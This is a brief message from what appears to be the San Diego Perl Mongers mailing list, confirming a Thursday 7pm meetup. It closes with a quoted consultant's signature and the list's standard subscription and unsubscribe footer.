7pm thursday, right? > > Bob> Sound good to everyone? > > Works for me. > > -- > Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 > > Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. > See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human.